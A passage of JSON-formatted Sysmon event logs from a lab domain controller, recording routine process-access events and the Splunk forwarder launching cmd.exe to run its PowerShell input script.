11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010245A0300}\r\nTargetProcessId: 3652\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010245A0300}","TargetProcessId":"3652","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.752\r\nProcessGuid: {90617006-3FE9-5F2D-0000-0010FF5B0300}\r\nProcessId: 3628\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell2.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.752","ProcessGuid":"{90617006-3FE9-5F2D-0000-0010FF5B0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell2.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010FF5B0300}\r\nTargetProcessId: 3628\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010FF5B0300}","TargetProcessId":"3628","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010FF5B0300}\r\nTargetProcessId: 3628\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010FF5B0300}","TargetProcessId":"3628","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 